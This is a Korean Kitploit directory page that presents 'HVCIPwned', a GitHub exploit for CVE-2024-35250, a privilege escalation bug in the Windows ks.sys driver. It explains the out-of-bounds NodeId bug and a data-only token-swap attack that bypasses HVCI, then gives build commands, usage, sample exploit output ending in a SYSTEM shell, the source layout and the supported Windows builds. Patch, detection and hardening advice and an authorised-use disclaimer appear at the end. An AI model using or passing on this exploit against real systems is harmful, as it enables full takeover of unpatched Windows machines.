Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
HVCIPwned — CVE-2024-35250은 HVCI가 데이터 전용 커널 익스플로잇에 대한 방어책이 아님을 입증합니다. 드라이버 버그가 임의 R/W 프리미티브를 제공하는 한, 토큰 스왑은 코드 실행 없이도 통용되는 보편적인 SYSTEM 권한 상승 기법으로 남아 있습니다. | Kitploit
도구/GitHubGitHub/xvalegendary/hvcipwned
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingLearning & EducationBinary Exploitation
GitHubxvalegendary/hvcipwned

HVCIPwned

CVE-2024-35250은 HVCI가 데이터 전용 커널 익스플로잇에 대한 방어책이 아님을 입증합니다. 드라이버 버그가 임의 R/W 프리미티브를 제공하는 한, 토큰 스왑은 코드 실행 없이도 통용되는 보편적인 SYSTEM 권한 상승 기법으로 남아 있습니다.

저장소 보기
84개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-35250

Windows Kernel Streaming 드라이버(ks.sys)의 신뢰할 수 없는 포인터 역참조를 통한 로컬 권한 상승. 데이터 전용 익스플로잇 — HVCI(Hypervisor-protected Code Integrity)를 우회합니다.

요약

항목설명
CVECVE-2024-35250
구성 요소ks.sys (Kernel Streaming)
버그 클래스신뢰할 수 없는 포인터 역참조
영향NT AUTHORITY\SYSTEM으로의 권한 상승(EoP)
HVCI우회됨 — 커널에서 코드 실행 없음
패치KB5039212(2024년 6월)
대상Windows 10 20H1+ / Windows 11 21H2-23H2

취약점

ks!KspPropertyHandler는 KspProcessPropertyNode를 통해 토폴로지 수준의 속성 요청을 디스패치합니다. 사용자가 제공한 KSP_NODE 구조체의 NodeId 필드는 범위 검증 없이 내부 자동화 테이블 배열의 인덱스로 사용됩니다:

root@kitploit:~
NtDeviceIoControlFile
  ks!CKSFilter::DispatchDeviceIoControl
    ks!KspPropertyHandler
      ks!KspProcessPropertyNode
        *(automationTable + NodeId * stride)   <-- attacker-controlled

실제 노드 수를 초과하는 조작된 NodeId는 역참조를 인접한 풀 메모리로 리디렉션하여 범위를 벗어난 읽기/쓰기 프리미티브를 제공합니다.

HVCI 우회

이 익스플로잇은 오직 커널 데이터 구조만 조작합니다:

  1. NtQuerySystemInformation을 통해 EPROCESS 주소 유출
  2. 취약점을 트리거하여 임의 커널 R/W 구축
  3. ActiveProcessLinks를 순회하여 PID 4 (System) 찾기
  4. 현재 프로세스 토큰을 System 토큰으로 덮어쓰기
  5. 상승된 셸 실행

셸코드는 주입되지 않습니다. 서명되지 않은 코드 페이지가 생성되거나 실행되지 않습니다. 제어 흐름 포인터가 하이재킹되지 않습니다.

보호 기능상태
HVCI / KMCI우회됨
SMEP트리거되지 않음
SMAP트리거되지 않음
kCFG트리거되지 않음
CET / Shadow Stack트리거되지 않음

빌드

요구 사항

  • Visual Studio 2019 / 2022
  • Windows SDK 10.0.19041.0+

컴파일

  1. Visual Studio에서 hvcipwned.sln 열기
  2. Release | x64 선택
  3. 빌드 → 솔루션 빌드(Ctrl+Shift+B)

출력 바이너리: x64\Release\hvcipwned.exe

수동 cl.exe 빌드

root@kitploit:~
cl.exe /nologo /W4 /O2 /TC ^
    main.c device.c leak.c krw.c token.c exploit.c ^
    /I ^
    /Fe:exploit.exe ^
    /link setupapi.lib kernel32.lib advapi32.lib

사용법

root@kitploit:~
hvcipwned.exe

취약한(패치되지 않은) 시스템의 권한 없는 사용자 세션에서 실행합니다. 성공하면 NT AUTHORITY\SYSTEM으로 실행되는 새 cmd.exe 창이 열립니다.

예상 출력

root@kitploit:~
[+] cve-2024-35250 exploit
[+] ks.sys untrusted pointer dereference -> eop
[~] hvci bypass via data-only attack
[+] os: 10.0.19045
[+] offsets: pid=0x440 links=0x448 token=0x4b8
[+] device: \\?\hdaudio#func_01&ven_10ec...
[+] device handle: 0x00000000000000f4
[~] calibrating r/w primitive...
[+] kernel base: 0xfffff80140000000
[~] spraying named pipes for pool layout...
[+] sprayed 5000 pipe pairs
[~] poking hole at index 2500...
[~] scanning for kernel pointer via oob read...
[+] found kernel ptr at node 3 offset 2: 0xffffa70500000000
[+] pipe object kernel addr: 0xffffa70500000000
[+] r/w primitive initialized (mode 1)
[+] current eprocess: 0xffffa705d90f4080
[+] kernel read pid: 1234 (expected: 1234)
[+] system eprocess: 0xffffa70500004080
[+] system token: 0xffffa70512345673
[+] token after swap: 0xffffa70512345670
[+] token swap successful
[+] escalation complete
[+] elevated shell spawned (pid: 5678)

press enter to exit...

프로젝트 구조

root@kitploit:~
hvcipwned/
├── hvcipwned.sln
├── hvcipwned.vcxproj
├── hvcipwned.vcxproj.filters
├── README.md
├── LICENSE
├── .gitignore
├── common.h         - types, log macros, nt api typedefs
├── offsets.h        - per-build eprocess field offsets
├── device.h         - ks device enumeration
├── leak.h           - kernel address leaks
├── krw.h            - r/w primitive context
├── token.h          - token swap + shell spawn
└── exploit.h        - top-level entry
├── main.c           - entry point
├── device.c         - setupapi device open
├── leak.c           - NtQuerySystemInformation leaks
├── krw.c            - vulnerability trigger + pool spray + r/w
├── token.c          - eprocess walk + token overwrite
└── exploit.c        - orchestration

지원 빌드

오프셋은 RtlGetVersion을 통해 런타임에 자동으로 확인됩니다.

참고 사항

  • 토폴로지 노드가 있는 KS 필터 장치가 필요합니다(오디오 장치가 작동함)
  • 풀 스프레이 성공 여부는 시스템 메모리 압력과 타이밍에 따라 달라집니다
  • 이 익스플로잇은 풀 펑수이를 위해 명명된 파이프 속성을 사용합니다
  • 권한 상승을 시연하려면 일반(비관리자) 사용자로 실행합니다
  • 풀 레이아웃 무작위화로 인해 여러 번 시도해야 할 수 있습니다

완화 조치

참조

  • Microsoft 권고
  • KB5039212 패치 노트
  • DEVCORE — Pwn2Own Vancouver 2024
  • varwara/CVE-2024-35250

면책 조항

이 프로젝트는 승인된 보안 연구 및 교육 목적으로만 제공됩니다. 명시적인 서면 허가 없이 시스템에 사용하지 마십시오. 저자는 이 소프트웨어로 인한 오용 또는 손해에 대해 어떠한 책임도 지지 않습니다.

라이선스

MIT

도구 다운로드
OS빌드상태
Windows 10 20H119041지원됨
Windows 10 20H219042지원됨
Windows 10 21H119043지원됨
Windows 10 21H219044지원됨
Windows 10 22H219045지원됨
Windows 11 21H222000지원됨
Windows 11 22H222621지원됨
Windows 11 23H222631지원됨
조치
설명
패치KB5039212(2024년 6월) 이상 설치
탐지KSPROPERTY_TYPE_TOPOLOGY 플래그를 사용한 IOCTL_KS_PROPERTY 모니터링
EDREtwTi 커널 콜백을 통한 토큰 무결성 변경 알림
강화DACL을 통해 KS 장치 인터페이스에 대한 사용자 액세스 제한